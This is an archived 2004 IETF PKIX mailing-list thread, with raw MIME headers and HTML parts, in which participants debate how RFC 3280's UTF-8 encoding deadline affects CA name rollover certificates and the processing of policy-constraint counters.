Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

--------------InterScan_NT_MIME_Boundary
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C3E45A.5AD2C6CC"

------_=_NextPart_001_01C3E45A.5AD2C6CC
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Hi Stefan,

You have another problem with name rollover with policy constraint
extension processing and self issued certificates.

=20

4.1.2.4 of RFC3280

"(a) attribute values encoded in different types (e.g., PrintableString
and BMPString) MAY be assumed to represent different strings;

 (b) attribute values in types other than PrintableString are case
sensitive (this permits matching of attribute values as binary objects);


=20

And in 6.1.4

"(h)  If the issuer and subject names are not identical:

(1)  If explicit_policy is not 0, decrement explicit_policy by 1.

(2)  If policy_mapping is not 0, decrement policy_mapping by 1.

(3)  If inhibit_any-policy is not 0, decrement inhibit_any- policy by
1."

=20

So an implementation interpreting the two values as different under
clause (a) above will decrement the policy constraints coulters with
name rollover when there is an encoding change.

=20

Also encoding "CA" and "cA" in two separate rollover CA certificates as
printable sting will not decrement the counters but encoding the same
stings in UTF-8 will lead to different policy constraints path length
results with name rollover under clause (b) above.

=20

Trevor

=20

________________________________

From: [e-mail] [mailto:[e-mail]]
On Behalf Of Stefan Santesson
Sent: Monday, January 26, 2004 9:23 AM
To: [e-mail]
Subject: UTF-8 encoding after December 31 2003

=20

All,

=20

I have a problem with the UTF-8 requirements in RFC 3280 after December
31, and would appreciate guidance on interpretation of RFC 3280 as well
as other implementers view on this.

=20

The situation:

=20

Conforming CA:s must encode attributes of DirectotyString types as UTF-8
after=20

December 31, 2003.

=20

Exceptions are stated in RFC 3280 (section 4.1.2.4):

=20

   Exceptions to the December 31, 2003 UTF8 encoding requirements are as

   follows:

=20

      (a)  CAs MAY issue "name rollover" certificates to support an

      orderly migration to UTF8String encoding.  Such certificates would

      include the CA's UTF8String encoded name as issuer and and the old

      name encoding as subject, or vice-versa.

=20

      (b)  As stated in section 4.1.2.6, the subject field MUST be

      populated with a non-empty distinguished name matching the

      contents of the issuer field in all certificates issued by the

      subject CA regardless of encoding.

=20

=20

My interpretation of this is:

=20

a) only applies for self issued certificates with the same CA name as
issuer and subject (but in different encodings). Introducing such name
roll-over certificates extend the certificate chain and may be
problematic since it may break both naming and path length constraints
expressed by chaining CAs.

=20

b) seams to be a catch 22. You can populate the subject field with old
encoding to match old encoded issuer names in descending certificates,
but since no descending CA can populate the issuer field with old
encoding it doesn't really apply.

=20

=20

The issue:

There seems to be a problem with practical reality here in case the
interpretation above is correct.

=20

Question 1)

What if I have a Root CA valid to 2020 with subject and issuer name in
old encoding?

=20

Can that Root CA issue an intermediary CA certificate with the issuer
field in old encoding, matching the subject field of the current root CA
Certificate?

=20

Question 2)

What if I have a CA with a current operating CA certificate that expires
2006. Can this CA issue certificates after December 31, with the issuer
name in old encoding, matching the encoding of the current CA
certificate until it expires, or must this CA change its name and have
its CA certificate renewed before December 31?

=20

If RFC 3280 prevents operating CAs to issue certificates with the issuer
field matching the CA:s current certificate, until it expires, then we
face a huge legacy problem. Especially since name matching for different
encoding types are not required.

=20

4.1.2.4 states

"(a)  attribute values encoded in different types (e.g.,

      PrintableString and BMPString) MAY be assumed to represent

      different strings;"

=20

=20

If my concerns are wrong and the issuing such certificates is allowed,
then this needs to be clarified.

=20

=20

=20

Stefan Santesson

Program Manager, Windows Security

=20


------_=_NextPart_001_01C3E45A.5AD2C6CC
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:v=3D"urn:schemas-microsoft-com:vml" =
xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<!--[if !mso]>
<style>
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
</style>
<![endif]-->
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:"MS Mincho";
	panose-1:2 2 6 9 4 2 5 8 3 4;}
@font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
@font-face
	{font-family:"\@MS Mincho";
	panose-1:2 2 6 9 4 2 5 8 3 4;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0pt;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
p.MsoPlainText, li.MsoPlainText, div.MsoPlainText
	{margin:0pt;
	margin-bottom:.0001pt;
	font-size:10.0pt;
	font-family:"Courier New";}
span.EmailStyle18
	{mso-style-type:personal;
	font-family:Arial;
	color:windowtext;}
span.EmailStyle20
	{mso-style-type:personal-reply;
	font-family:Arial;
	color:navy;}
@page Section1
	{size:612.0pt 792.0pt;
	margin:70.85pt 70.85pt 70.85pt 70.85pt;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Hi =
Stefan,<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>You have another problem with name =
rollover
with policy constraint extension processing and self issued =
certificates.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>4.1.2.4 of =
RFC3280<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&#8220;(a) attribute values encoded =
in
different types (e.g., PrintableString and BMPString) MAY be assumed to
represent different strings;<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&nbsp;(b) attribute values in types =
other
than PrintableString are case sensitive (this permits matching of =
attribute
values as binary objects); <o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>And in =
6.1.4<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>&#8220;(h)&nbsp; If the issuer and =
subject
names are not identical:<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-indent:36.0pt'><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>(1)&nbsp;
If explicit_policy is not 0, decrement explicit_policy by =
1.<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-indent:36.0pt'><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>(2)&nbsp;
If policy_mapping is not 0, decrement policy_mapping by =
1.<o:p></o:p></span></font></p>

<p class=3DMsoNormal style=3D'text-indent:36.0pt'><font size=3D2 =
color=3Dnavy
face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial;color:navy'>(3)&nbsp;
If inhibit_any-policy is not 0, decrement inhibit_any- policy by =
1.&#8221;<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>So an implementation interpreting =
the two
values as different under clause (a) above will decrement the policy =
constraints
coulters with name rollover when there is an encoding =
change.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Also encoding &#8220;CA&#8221; and =
&#8220;cA&#8221;
in two separate rollover CA certificates as printable sting will not =
decrement
the counters but encoding the same stings in UTF-8 will lead to =
different policy
constraints path length results with name rollover under clause (b) =
above.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'>Trevor<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 color=3Dnavy face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:navy'><o:p>&nbsp;</o:p></span></font></p>

<div>

<div class=3DMsoNormal align=3Dcenter style=3D'text-align:center'><font =
size=3D3
face=3D"Times New Roman"><span style=3D'font-size:12.0pt'>

<hr size=3D3 width=3D"100%" align=3Dcenter tabindex=3D-1>

</span></font></div>

<p class=3DMsoNormal><b><font size=3D2 face=3DTahoma><span =
style=3D'font-size:10.0pt;
font-family:Tahoma;font-weight:bold'>From:</span></font></b><font =
size=3D2
face=3DTahoma><span style=3D'font-size:10.0pt;font-family:Tahoma'>
[e-mail] [mailto:[e-mail]] =
<b><span
style=3D'font-weight:bold'>On Behalf Of </span></b>Stefan Santesson<br>
<b><span style=3D'font-weight:bold'>Sent:</span></b> Monday, January 26, =
2004
9:23 AM<br>
<b><span style=3D'font-weight:bold'>To:</span></b> [e-mail]<br>
<b><span style=3D'font-weight:bold'>Subject:</span></b> UTF-8 encoding =
after
December 31 2003</span></font><o:p></o:p></p>

</div>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>All,<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>I have a problem with the UTF-8 requirements in RFC 3280 after =
December
31, and would appreciate guidance on interpretation of RFC 3280 as well =
as
other implementers view on this.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>The situation:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Conforming CA:s must encode attributes of DirectotyString types =
as
UTF-8 after <o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>December 31, 2003.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Exceptions are stated in RFC 3280 (section =
4.1.2.4):<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp; Exceptions to the December 31, 2003 UTF8 encoding
requirements are as<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp; follows:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (a)&nbsp; CAs MAY issue =
&quot;name
rollover&quot; certificates to support an<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; orderly migration to UTF8String
encoding.&nbsp; Such certificates would<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; include the CA's UTF8String =
encoded name
as issuer and and the old<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;name encoding as subject, or =
vice-versa.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (b)&nbsp; As stated in section =
4.1.2.6,
the subject field MUST be<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; populated with a non-empty =
distinguished
name matching the<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; contents of the issuer field in =
all
certificates issued by the<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;subject CA regardless of =
encoding.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>My interpretation of this is:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>a) only applies for self issued certificates with the same CA =
name as
issuer and subject (but in different encodings). Introducing such name
roll-over certificates extend the certificate chain and may be =
problematic
since it may break both naming and path length constraints expressed by
chaining CAs.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>b) seams to be a catch 22. You can populate the subject field =
with old
encoding to match old encoded issuer names in descending certificates, =
but
since no descending CA can populate the issuer field with old encoding =
it
doesn&#8217;t really apply.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>The issue:<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>There seems to be a problem with practical reality here in case =
the
interpretation above is correct.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Question 1)<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>What if I have a Root CA valid to 2020 with subject and issuer =
name in
old encoding?<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Can that Root CA issue an intermediary CA certificate with the =
issuer
field in old encoding, matching the subject field of the current root CA
Certificate?<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>Question 2)<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>What if I have a CA with a current operating CA certificate that
expires 2006. Can this CA issue certificates after December 31, with the =
issuer
name in old encoding, matching the encoding of the current CA =
certificate until
it expires, or must this CA change its name and have its CA certificate =
renewed
before December 31?<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>If RFC 3280 prevents operating CAs to issue certificates with =
the
issuer field matching the CA:s current certificate, until it expires, =
then we
face a huge legacy problem. Especially since name matching for different
encoding types are not required.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>4.1.2.4 states<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&#8220;(a)&nbsp; attribute values encoded in different types =
(e.g.,<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PrintableString and BMPString) =
MAY be
assumed to represent<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; different =
strings;&#8221;<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'>If my concerns are wrong and the issuing such certificates is =
allowed,
then this needs to be clarified.<o:p></o:p></span></font></p>

<p class=3DMsoPlainText><font size=3D2 face=3D"Courier New"><span =
style=3D'font-size:
10.0pt'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><strong><b><font size=3D2 color=3Dolive =
face=3DArial><span
style=3D'font-size:10.0pt;font-family:Arial;color:olive'>Stefan =
Santesson</span></font></b></strong><o:p></o:p></p>

<p class=3DMsoNormal><font size=3D2 color=3Dolive face=3DArial><span =
style=3D'font-size:
10.0pt;font-family:Arial;color:olive'>Program Manager, Windows =
Security</span></font><o:p></o:p></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
style=3D'font-size:
12.0pt'><o:p>&nbsp;</o:p></span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C3E45A.5AD2C6CC--

--------------InterScan_NT_MIME_Boundary--



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0QKRcZ5057677; Mon, 26 Jan 2004 12:27:38 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0QKRctB057676; Mon, 26 Jan 2004 12:27:38 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp3.pacifier.net (smtp3.pacifier.net [64.255.237.173]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0QKRblB057669 for <[e-mail]>; Mon, 26 Jan 2004 12:27:37 -0800 (PST) (envelope-from [e-mail])
Received: from ROMANS (ip237.132.dial-acs01.sea.iinet.com [209.20.132.237]) by smtp3.pacifier.net (Postfix) with ESMTP id AAC686D65B; Mon, 26 Jan 2004 12:27:35 -0800 (PST)
Reply-To: <[e-mail]>
From: "Jim Schaad" <[e-mail]>
To: "'Stefan Santesson'" <[e-mail]>, <[e-mail]>
Subject: RE: UTF-8 encoding after December 31 2003
Date: Mon, 26 Jan 2004 12:31:31 -0800
Message-ID: <010701c3e44b$62bf4c10$[e-mail]>
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_0108_01C3E408.549C0C10"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Importance: Normal
In-Reply-To: <[e-mail]>
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.

------=_NextPart_000_0108_01C3E408.549C0C10
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

Stefan,
 
I don't read (b) in the same way as you do.  I read this as saying if a
CA has a certificate with a non-UTF8 encoded subject name, then the
issuer name in all certificates it issues MUST be the non-UTF8 subject
name of the CA.  This means you don't need to update the CA certificate,
but that all new certificates issued by the CA must be using UTF8
strings.
 
jim

-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
On Behalf Of Stefan Santesson
Sent: Monday, January 26, 2004 9:23 AM
To: [e-mail]
Subject: UTF-8 encoding after December 31 2003



All,

 

I have a problem with the UTF-8 requirements in RFC 3280 after December
31, and would appreciate guidance on interpretation of RFC 3280 as well
as other implementers view on this.

 

The situation:

 

Conforming CA:s must encode attributes of DirectotyString types as UTF-8
after 

December 31, 2003.

 

Exceptions are stated in RFC 3280 (section 4.1.2.4):

 

   Exceptions to the December 31, 2003 UTF8 encoding requirements are as

   follows:

 

      (a)  CAs MAY issue "name rollover" certificates to support an

      orderly migration to UTF8String encoding.  Such certificates would

      include the CA's UTF8String encoded name as issuer and and the old

      name encoding as subject, or vice-versa.

 

      (b)  As stated in section 4.1.2.6, the subject field MUST be

      populated with a non-empty distinguished name matching the

      contents of the issuer field in all certificates issued by the

      subject CA regardless of encoding.

 

 

My interpretation of this is:

 

a) only applies for self issued certificates with the same CA name as
issuer and subject (but in different encodings). Introducing such name
roll-over certificates extend the certificate chain and may be
problematic since it may break both naming and path length constraints
expressed by chaining CAs.

 

b) seams to be a catch 22. You can populate the subject field with old
encoding to match old encoded issuer names in descending certificates,
but since no descending CA can populate the issuer field with old
encoding it doesn't really apply.

 

 

The issue:

There seems to be a problem with practical reality here in case the
interpretation above is correct.

 

Question 1)

What if I have a Root CA valid to 2020 with subject and issuer name in
old encoding?

 

Can that Root CA issue an intermediary CA certificate with the issuer
field in old encoding, matching the subject field of the current root CA
Certificate?

 

Question 2)

What if I have a CA with a current operating CA certificate that expires
2006. Can this CA issue certificates after December 31, with the issuer
name in old encoding, matching the encoding of the current CA
certificate until it expires, or must this CA change its name and have
its CA certificate renewed before December 31?

 

If RFC 3280 prevents operating CAs to issue certificates with the issuer
field matching the CA:s current certificate, until it expires, then we
face a huge legacy problem. Especially since name matching for different
encoding types are not required.

 

4.1.2.4 states

"(a)  attribute values encoded in different types (e.g.,

      PrintableString and BMPString) MAY be assumed to represent

      different strings;"

 

 

If my concerns are wrong and the issuing such certificates is allowed,
then this needs to be clarified.

 

 

 

Stefan Santesson

Program Manager, Windows Security

 


------=_NextPart_000_0108_01C3E408.549C0C10
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML xmlns=3D"http://www.w3.org/TR/REC-html40" xmlns:o =3D=20
"urn:schemas-microsoft-com:office:office" xmlns:w =3D=20
"urn:schemas-microsoft-com:office:word"><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<TITLE>Message</TITLE>

<META content=3D"MSHTML 6.00.2800.1276" name=3DGENERATOR>
<STYLE>@page Section1 {size: 612.0pt 792.0pt; margin: 70.85pt 70.85pt =
70.85pt 70.85pt; }
P.MsoNormal {
	FONT-SIZE: 12pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: "Times New Roman"
}
LI.MsoNormal {
	FONT-SIZE: 12pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: "Times New Roman"
}
DIV.MsoNormal {
	FONT-SIZE: 12pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: "Times New Roman"
}
A:link {
	COLOR: blue; TEXT-DECORATION: underline
}
SPAN.MsoHyperlink {
	COLOR: blue; TEXT-DECORATION: underline
}
A:visited {
	COLOR: purple; TEXT-DECORATION: underline
}
SPAN.MsoHyperlinkFollowed {
	COLOR: purple; TEXT-DECORATION: underline
}
P.MsoPlainText {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: "Courier New"
}
LI.MsoPlainText {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: "Courier New"
}
DIV.MsoPlainText {
	FONT-SIZE: 10pt; MARGIN: 0cm 0cm 0pt; FONT-FAMILY: "Courier New"
}
SPAN.EmailStyle17 {
	COLOR: windowtext; FONT-FAMILY: Arial; mso-style-type: personal-compose
}
DIV.Section1 {
	page: Section1
}
</STYLE>
</HEAD>
<BODY lang=3DEN-US vLink=3Dpurple link=3Dblue>
<DIV><SPAN class=3D001572920-26012004><FONT face=3DArial color=3D#0000ff =

size=3D2>Stefan,</FONT></SPAN></DIV>
<DIV><SPAN class=3D001572920-26012004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D001572920-26012004><FONT face=3DArial color=3D#0000ff =
size=3D2>I=20
don't read (b) in the same way as you do.&nbsp; I read this as saying if =
a CA=20
has a certificate with&nbsp;a non-UTF8 encoded subject name, then the =
issuer=20
name in all certificates it issues MUST be the non-UTF8 subject name of =
the=20
CA.&nbsp; This means you don't need to update the CA certificate, but =
that all=20
new certificates issued by the CA must be using UTF8=20
strings.</FONT></SPAN></DIV>
<DIV><SPAN class=3D001572920-26012004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D001572920-26012004><FONT face=3DArial color=3D#0000ff =

size=3D2>jim</FONT></SPAN></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid; MARGIN-RIGHT: 0px">
  <DIV></DIV>
  <DIV class=3DOutlookMessageHeader lang=3Den-us dir=3Dltr =
align=3Dleft><FONT=20
  face=3DTahoma size=3D2>-----Original Message-----<BR><B>From:</B>=20
  [e-mail] [mailto:[e-mail]] =
<B>On=20
  Behalf Of </B>Stefan Santesson<BR><B>Sent:</B> Monday, January 26, =
2004 9:23=20
